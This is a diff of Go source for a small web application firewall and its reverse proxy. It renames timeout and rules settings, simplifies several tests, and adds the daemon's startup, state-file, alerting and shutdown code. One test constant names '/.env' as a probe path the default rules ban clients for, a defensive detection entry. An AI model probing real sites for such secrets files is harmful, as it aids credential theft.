|
return 0
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newRProxyServer returns the server rproxy runs.
|
|
||||||
func newRProxyServer(
|
|
||||||
cfg *config.RProxy, out requestLog, processLog *slog.Logger,
|
|
||||||
) *rproxy.Server {
|
|
||||||
return rproxy.New(rproxy.Params{
|
|
||||||
Config: cfg,
|
|
||||||
RequestLog: out,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newRProxyListener listens on SWW_RPROXY_LISTEN_ADDR.
|
|
||||||
func newRProxyListener(cfg *config.RProxy) (net.Listener, error) {
|
|
||||||
return listen(cfg.ListenAddr, "SWW_RPROXY_LISTEN_ADDR")
|
|
||||||
}
|
}
|
||||||
+21
-35
@@ -31,8 +31,8 @@ const (
|
|||||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
// rproxyUpstreamURL is the setting that says where the app is.
|
// rproxyUpstreamURL is the setting that says where the app is.
|
||||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||||
// bannedProbe is a path the default rule file bans a client for.
|
// bannedProbe is a path the default rule file bans a client for.
|
||||||
bannedProbe = "/.env"
|
bannedProbe = "/.env"
|
||||||
// otherClient is a client the tests do not ban.
|
// otherClient is a client the tests do not ban.
|
||||||
@@ -51,9 +51,7 @@ func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
|||||||
|
|
||||||
// startRProxy runs rproxy with waf at backend and the app at appURL, and
|
// startRProxy runs rproxy with waf at backend and the app at appURL, and
|
||||||
// returns its URL and what it writes. It believes X-Forwarded-For from the
|
// returns its URL and what it writes. It believes X-Forwarded-For from the
|
||||||
// tests. It waits a minute for waf's answer, so that a slow answer on a busy
|
// tests. It stops as the test ends, and that it stopped in order is checked.
|
||||||
// host is not taken for no answer. It stops as the test ends, and that it
|
|
||||||
// stopped in order is checked.
|
|
||||||
func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -67,7 +65,6 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||||
"SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
|
"SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
|
||||||
wafBackend: backend,
|
wafBackend: backend,
|
||||||
wafBackendTimeout: "60000",
|
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -140,7 +137,7 @@ func wafSettings(t *testing.T) map[string]string {
|
|||||||
return map[string]string{
|
return map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -244,13 +241,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
|||||||
forwardTo("")
|
forwardTo("")
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
// With waf down, the site answers, and rproxy says
|
// With waf down, the site answers, and rproxy says the default did it.
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
|
||||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||||
|
|
||||||
line := out.line(t, "path", "/after-stop")
|
line := out.line(t, "path", "/after-stop")
|
||||||
if line["disposition"] != waf.DispositionAllow ||
|
if line["disposition"] != waf.DispositionAllow ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -263,17 +259,7 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
|||||||
stop()
|
stop()
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// The visitor's asks have opened rproxy's circuit breaker, which lets one
|
wantStatus(t, site+"/", placed, http.StatusForbidden)
|
||||||
// request a second ask until one is answered.
|
|
||||||
deadline := time.Now().Add(waitLimit)
|
|
||||||
for statusFrom(t, site+"/", placed) != http.StatusForbidden {
|
|
||||||
if time.Now().After(deadline) {
|
|
||||||
t.Fatalf("request from %s: never answered %d", placed,
|
|
||||||
http.StatusForbidden)
|
|
||||||
}
|
|
||||||
|
|
||||||
time.Sleep(pollInterval)
|
|
||||||
}
|
|
||||||
|
|
||||||
close(visitorStop)
|
close(visitorStop)
|
||||||
<-visitorDone
|
<-visitorDone
|
||||||
@@ -489,7 +475,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "path", "admin")
|
line := out.line(t, "path", "admin")
|
||||||
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
if line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("rproxy's line is %v, want no disposition", line)
|
t.Errorf("rproxy's line is %v, want no disposition", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -510,7 +496,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "path", bannedProbe)
|
line := out.line(t, "path", bannedProbe)
|
||||||
if line["client_ip"] != "2001:db8::1" ||
|
if line["client_ip"] != "2001:db8::1" ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -552,9 +538,7 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
|
|||||||
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
||||||
// settings in env, each as NAME=value. It returns where rproxy listens and a
|
// settings in env, each as NAME=value. It returns where rproxy listens and a
|
||||||
// function that sends rproxy SIGTERM and fails the test unless it exits with
|
// function that sends rproxy SIGTERM and fails the test unless it exits with
|
||||||
// status 0 within waitLimit. It waits a minute for waf's answers unless env
|
// status 0 within waitLimit.
|
||||||
// sets SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, so that a busy host cannot make it
|
|
||||||
// drop a question.
|
|
||||||
func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -570,8 +554,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
commandForMain+"=rproxy",
|
commandForMain+"=rproxy",
|
||||||
"SWW_RPROXY_LISTEN_ADDR="+localhost+":0",
|
"SWW_RPROXY_LISTEN_ADDR="+localhost+":0")
|
||||||
wafBackendTimeout+"=60000")
|
|
||||||
cmd.Env = append(cmd.Env, env...)
|
cmd.Env = append(cmd.Env, env...)
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
@@ -708,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||||
wafBackendTimeout: "60000",
|
rproxyTimeout: "60000",
|
||||||
wafBackend: backend.URL,
|
wafBackend: backend.URL,
|
||||||
}
|
}
|
||||||
out := &output{}
|
out := &output{}
|
||||||
@@ -755,7 +738,8 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// sendAndKeepOpen sends request to rproxy at addr, and returns the connection.
|
// sendAndKeepOpen sends request to rproxy at addr, and returns the connection. A
|
||||||
|
// read from it ends with an error once waitLimit is up.
|
||||||
func sendAndKeepOpen(t *testing.T, addr, request string) net.Conn {
|
func sendAndKeepOpen(t *testing.T, addr, request string) net.Conn {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -768,6 +752,11 @@ func sendAndKeepOpen(t *testing.T, addr, request string) net.Conn {
|
|||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
})
|
})
|
||||||
|
|
||||||
|
err = conn.SetDeadline(time.Now().Add(waitLimit))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("set the deadline: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
_, err = io.WriteString(conn, request)
|
_, err = io.WriteString(conn, request)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("send: %v", err)
|
t.Fatalf("send: %v", err)
|
||||||
@@ -832,9 +821,6 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
|
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
// Counted from the stop, so a slow wait for the app cannot shorten it.
|
|
||||||
_ = conn.SetReadDeadline(stopped.Add(cutOffAfter + waitLimit))
|
|
||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf("read %q (%v), want the connection cut off", text, err)
|
t.Errorf("read %q (%v), want the connection cut off", text, err)
|
||||||
@@ -869,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"no backend", wafBackend, nil},
|
{"no backend", wafBackend, nil},
|
||||||
{
|
{
|
||||||
"another invalid", wafBackendTimeout,
|
"another invalid", rproxyTimeout,
|
||||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
|||||||
+393
-5
@@ -4,14 +4,17 @@
|
|||||||
// stop, and then stops in an orderly way, writing the state and cache files.
|
// stop, and then stops in an orderly way, writing the state and cache files.
|
||||||
// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
|
// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
|
||||||
// front of one app that asks waf about each request. `sww healthcheck` is the
|
// front of one app that asks waf about each request. `sww healthcheck` is the
|
||||||
// container's health check. fx builds the parts of each daemon, starts their
|
// container's health check.
|
||||||
// background work and stops it.
|
|
||||||
package sww
|
package sww
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"log/slog"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"syscall"
|
"syscall"
|
||||||
@@ -19,9 +22,28 @@ import (
|
|||||||
|
|
||||||
"github.com/spf13/viper"
|
"github.com/spf13/viper"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// shutdownTimeout is how long requests in progress may take to finish
|
||||||
|
// once sww is told to stop, before their connections are closed.
|
||||||
|
// runit and docker wait a little longer before they kill the process.
|
||||||
|
const shutdownTimeout = 5 * time.Second
|
||||||
|
|
||||||
|
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
||||||
|
// waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
|
||||||
|
// carried them.
|
||||||
|
const remoteLogStopTimeout = 2 * time.Second
|
||||||
|
|
||||||
// usageStatus is the exit status with no command, or one sww does not
|
// usageStatus is the exit status with no command, or one sww does not
|
||||||
// know.
|
// know.
|
||||||
const usageStatus = 2
|
const usageStatus = 2
|
||||||
@@ -44,9 +66,6 @@ type Params struct {
|
|||||||
Viper *viper.Viper
|
Viper *viper.Viper
|
||||||
// Stdout receives the request log and the process's own messages.
|
// Stdout receives the request log and the process's own messages.
|
||||||
Stdout io.Writer
|
Stdout io.Writer
|
||||||
// BesideLookupTimeLimit is the waf.Params.BesideLookupTimeLimit RunWAF
|
|
||||||
// gives waf. Main leaves it zero, waf's own limit; tests lengthen it.
|
|
||||||
BesideLookupTimeLimit time.Duration
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Main runs the command os.Args names, and returns the process's exit status.
|
// Main runs the command os.Args names, and returns the process's exit status.
|
||||||
@@ -87,3 +106,372 @@ func printUsage(w io.Writer) int {
|
|||||||
|
|
||||||
return usageStatus
|
return usageStatus
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
||||||
|
// the lookup database and the state and cache files, then serves requests until
|
||||||
|
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
||||||
|
func RunWAF(ctx context.Context, params Params) int {
|
||||||
|
// Until the settings are read, the one message is an invalid setting's
|
||||||
|
// error, which every SWW_WAF_LOG_LEVEL lets through.
|
||||||
|
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||||
|
config.InstanceName(params.Viper), slog.LevelError)
|
||||||
|
|
||||||
|
cfg, err := config.FromEnvironment(params.Viper)
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(processLog, "invalid setting", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||||
|
// is sent there too.
|
||||||
|
stdout := params.Stdout
|
||||||
|
|
||||||
|
var remote *remotelog.Sender
|
||||||
|
|
||||||
|
if cfg.LogRemoteURL != nil {
|
||||||
|
remote = newRemoteLogSender(cfg)
|
||||||
|
stdout = io.MultiWriter(params.Stdout, remote)
|
||||||
|
}
|
||||||
|
|
||||||
|
processLog = requestlog.NewProcessLogger(
|
||||||
|
stdout,
|
||||||
|
cfg.InstanceName,
|
||||||
|
cfg.LogLevel,
|
||||||
|
)
|
||||||
|
|
||||||
|
if remote != nil {
|
||||||
|
stopSending := startSending(ctx, remote, processLog)
|
||||||
|
defer stopSending()
|
||||||
|
}
|
||||||
|
|
||||||
|
return runWAFWithSettings(
|
||||||
|
ctx,
|
||||||
|
params.Version,
|
||||||
|
cfg,
|
||||||
|
stdout,
|
||||||
|
remote,
|
||||||
|
processLog,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
||||||
|
// the process log goes where they say. remote is nil unless
|
||||||
|
// SWW_WAF_LOG_REMOTE_URL is set.
|
||||||
|
func runWAFWithSettings(
|
||||||
|
ctx context.Context,
|
||||||
|
version string,
|
||||||
|
cfg *config.Config,
|
||||||
|
stdout io.Writer,
|
||||||
|
remote *remotelog.Sender,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) int {
|
||||||
|
// The state files and the alerts give times in UTC.
|
||||||
|
now := func() time.Time { return time.Now().UTC() }
|
||||||
|
|
||||||
|
alertQueue := newAlertQueue(cfg, now, processLog)
|
||||||
|
|
||||||
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
|
Dir: cfg.RulesDir,
|
||||||
|
Enabled: cfg.RulesEnabled,
|
||||||
|
ProcessLog: processLog,
|
||||||
|
Alerts: alertQueue,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(processLog, "cannot use the rule files", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
crs, err := waf.NewCoreRuleSet(cfg)
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(processLog, "cannot use the Core Rule Set", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
server, err := newServer(
|
||||||
|
cfg,
|
||||||
|
stdout,
|
||||||
|
processLog,
|
||||||
|
now,
|
||||||
|
ruleFiles,
|
||||||
|
alertQueue,
|
||||||
|
crs,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(processLog, "cannot use the lookup database", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if remote != nil {
|
||||||
|
server.Metrics.AddRemoteLog(remote)
|
||||||
|
}
|
||||||
|
|
||||||
|
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(
|
||||||
|
processLog,
|
||||||
|
"cannot use the state and cache files",
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
|
if err != nil {
|
||||||
|
return cannotStart(
|
||||||
|
processLog,
|
||||||
|
"cannot listen on SWW_WAF_LISTEN_ADDR",
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
processLog.Info("starting",
|
||||||
|
"version", version,
|
||||||
|
"address", listener.Addr().String(),
|
||||||
|
"settings", cfg)
|
||||||
|
|
||||||
|
return serve(
|
||||||
|
ctx,
|
||||||
|
server,
|
||||||
|
listener,
|
||||||
|
files,
|
||||||
|
ruleFiles,
|
||||||
|
alertQueue,
|
||||||
|
processLog,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// cannotStart logs why waf cannot start, and returns its exit status.
|
||||||
|
func cannotStart(processLog *slog.Logger, message string, err error) int {
|
||||||
|
processLog.Error(message, "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// newServer returns the server waf runs, with the metrics of the alerts,
|
||||||
|
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
||||||
|
// database that cannot be read is an error.
|
||||||
|
func newServer(
|
||||||
|
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
||||||
|
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
|
crs *coreruleset.CoreRuleSet,
|
||||||
|
) (*waf.Server, error) {
|
||||||
|
var lookupFile *lookup.File
|
||||||
|
|
||||||
|
if cfg.LookupSource == "file" {
|
||||||
|
var err error
|
||||||
|
|
||||||
|
lookupFile, err = lookup.OpenFile(lookup.FileParams{
|
||||||
|
Path: cfg.LookupDBPath,
|
||||||
|
Now: now,
|
||||||
|
ProcessLog: processLog,
|
||||||
|
Alerts: alertQueue,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
server := waf.New(waf.Params{
|
||||||
|
Config: cfg,
|
||||||
|
RequestLog: stdout,
|
||||||
|
ProcessLog: processLog,
|
||||||
|
GeoJSURL: lookup.URL,
|
||||||
|
AbuseIPDBURL: reputation.AbuseIPDBURL,
|
||||||
|
LookupFile: lookupFile,
|
||||||
|
CoreRuleSet: crs,
|
||||||
|
Now: now,
|
||||||
|
Rules: ruleFiles,
|
||||||
|
Alerts: alertQueue,
|
||||||
|
})
|
||||||
|
server.Metrics.AddAlerts(alertQueue)
|
||||||
|
|
||||||
|
if lookupFile != nil {
|
||||||
|
server.Metrics.AddLookupFile(
|
||||||
|
lookupFile.LastRead,
|
||||||
|
lookupFile.ReadFailures,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
return server, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadStateFiles reads the state and cache files into the parts of server and
|
||||||
|
// into alertQueue, as state.Load does.
|
||||||
|
func loadStateFiles(
|
||||||
|
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||||
|
now func() time.Time, processLog *slog.Logger,
|
||||||
|
) (*state.Files, error) {
|
||||||
|
return state.Load(state.Params{
|
||||||
|
Dir: cfg.StateDir,
|
||||||
|
CacheDir: cfg.CacheDir,
|
||||||
|
WriteDelay: cfg.StateWriteDelay,
|
||||||
|
CounterInterval: cfg.StateCounterInterval,
|
||||||
|
Ledger: server.Ledger,
|
||||||
|
Limiter: server.Limiter,
|
||||||
|
GeoJS: server.GeoJS,
|
||||||
|
Lists: server.Lists,
|
||||||
|
DNSBL: server.DNSBL,
|
||||||
|
AbuseIPDB: server.AbuseIPDB,
|
||||||
|
RouteWatch: server.RouteWatch,
|
||||||
|
Alerts: alertQueue,
|
||||||
|
Anomalies: server.Anomalies,
|
||||||
|
Now: now,
|
||||||
|
ProcessLog: processLog,
|
||||||
|
Metrics: server.Metrics,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
||||||
|
// ntfy, with the settings for them.
|
||||||
|
func newAlertQueue(
|
||||||
|
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
|
||||||
|
) *alerts.Queue {
|
||||||
|
return alerts.New(alerts.Params{
|
||||||
|
WebhookURL: cfg.AlertWebhookURL,
|
||||||
|
WebhookHeaders: cfg.AlertWebhookHeaders,
|
||||||
|
SlackURL: cfg.AlertSlackWebhookURL,
|
||||||
|
NtfyURL: cfg.AlertNtfyURL,
|
||||||
|
NtfyToken: cfg.AlertNtfyToken,
|
||||||
|
Events: cfg.AlertEvents,
|
||||||
|
Cooldown: cfg.AlertCooldown,
|
||||||
|
MaxPerHour: cfg.AlertMaxPerHour,
|
||||||
|
Instance: cfg.InstanceName,
|
||||||
|
Now: now,
|
||||||
|
ProcessLog: processLog,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// newRemoteLogSender returns a sender of the log lines to
|
||||||
|
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||||
|
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
||||||
|
return remotelog.New(remotelog.Params{
|
||||||
|
URL: cfg.LogRemoteURL,
|
||||||
|
RootCAs: cfg.LogRemoteTLSCAs,
|
||||||
|
Buffer: cfg.LogRemoteBuffer,
|
||||||
|
Facility: cfg.LogRemoteFacility,
|
||||||
|
AppName: cfg.LogRemoteAppName,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// startSending runs remote until the function it returns is called, which
|
||||||
|
// then waits at most remoteLogStopTimeout for the lines still waiting to
|
||||||
|
// be sent. Sending goes on after ctx is done, so that the lines written
|
||||||
|
// while sww stops are sent too.
|
||||||
|
func startSending(
|
||||||
|
ctx context.Context, remote *remotelog.Sender, processLog *slog.Logger,
|
||||||
|
) func() {
|
||||||
|
sending, stop := context.WithCancel(context.WithoutCancel(ctx))
|
||||||
|
sent := make(chan struct{})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
remote.Run(sending, processLog)
|
||||||
|
close(sent)
|
||||||
|
}()
|
||||||
|
|
||||||
|
return func() {
|
||||||
|
stop()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-sent:
|
||||||
|
case <-time.After(remoteLogStopTimeout):
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// serve serves requests on listener, writes the state and cache files as they
|
||||||
|
// are due, takes in an admin's edits of them, reads the rule files again as
|
||||||
|
// they change, and the lookup database when it is replaced, fetches the
|
||||||
|
// lists the settings name by URL as they are due, and sends the alerts,
|
||||||
|
// until ctx is done. Then it gives the requests in progress
|
||||||
|
// shutdownTimeout to finish, and writes every state and cache file,
|
||||||
|
// alerts.json with the alerts still waiting.
|
||||||
|
func serve(
|
||||||
|
ctx context.Context, server *waf.Server, listener net.Listener,
|
||||||
|
files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) int {
|
||||||
|
served := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
served <- server.Serve(listener)
|
||||||
|
}()
|
||||||
|
|
||||||
|
writing, stopWriting := context.WithCancel(ctx)
|
||||||
|
defer stopWriting()
|
||||||
|
|
||||||
|
written := inBackground(func() { files.Run(writing) })
|
||||||
|
watched := inBackground(func() { files.Watch(writing) })
|
||||||
|
rulesWatched := inBackground(func() { ruleFiles.Watch(writing) })
|
||||||
|
lookupFileWatched := inBackground(func() {
|
||||||
|
if server.LookupFile != nil {
|
||||||
|
server.LookupFile.Watch(writing)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
listsFetched := inBackground(func() { server.Lists.Run(writing) })
|
||||||
|
alertsSent := inBackground(func() { alertQueue.Run(writing) })
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-served:
|
||||||
|
processLog.Error("serving failed", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
|
case <-ctx.Done():
|
||||||
|
}
|
||||||
|
|
||||||
|
processLog.Info("stopping")
|
||||||
|
|
||||||
|
shutdownCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx),
|
||||||
|
shutdownTimeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
err := server.Shutdown(shutdownCtx)
|
||||||
|
if err != nil {
|
||||||
|
processLog.Warn("requests still in progress were cut off",
|
||||||
|
"error", err.Error())
|
||||||
|
|
||||||
|
_ = server.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
err = <-served
|
||||||
|
if !errors.Is(err, http.ErrServerClosed) {
|
||||||
|
processLog.Error("serving failed", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run and Watch have ended, so nothing else reads or writes the
|
||||||
|
// files, and no alert is being sent, so that alerts.json keeps every
|
||||||
|
// alert not yet sent. Every request has ended too, but for one cut off
|
||||||
|
// because Shutdown timed out, which adds to its client's history only as
|
||||||
|
// it ends. That can be after this write, and then that request is missing
|
||||||
|
// from clients.json.
|
||||||
|
<-written
|
||||||
|
<-watched
|
||||||
|
<-rulesWatched
|
||||||
|
<-lookupFileWatched
|
||||||
|
<-listsFetched
|
||||||
|
<-alertsSent
|
||||||
|
|
||||||
|
err = files.WriteAll()
|
||||||
|
if err != nil {
|
||||||
|
processLog.Error(
|
||||||
|
"writing the state and cache files failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
processLog.Info("stopped")
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// inBackground runs task on a goroutine of its own, and returns a channel
|
||||||
|
// that is closed once task has returned.
|
||||||
|
func inBackground(task func()) <-chan struct{} {
|
||||||
|
done := make(chan struct{})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
task()
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
return done
|
||||||
|
}
|
||||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
Scheme: remotelog.SchemeTCP,
|
Scheme: remotelog.SchemeTCP,
|
||||||
Host: "127.0.0.1:65536",
|
Host: "127.0.0.1:65536",
|
||||||
},
|
},
|
||||||
BufferLines: 1,
|
Buffer: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
stopSending := startSending(t.Context(), sender,
|
stopSending := startSending(t.Context(), sender,
|
||||||
|
|||||||
+139
-62
@@ -37,12 +37,12 @@ const (
|
|||||||
localhost = "127.0.0.1"
|
localhost = "127.0.0.1"
|
||||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||||
stateDir = "SWW_WAF_STATE_DIR"
|
stateDir = "SWW_WAF_STATE_DIR"
|
||||||
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
|
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
||||||
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
|
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
||||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
cacheDir = "SWW_WAF_CACHE_DIR"
|
||||||
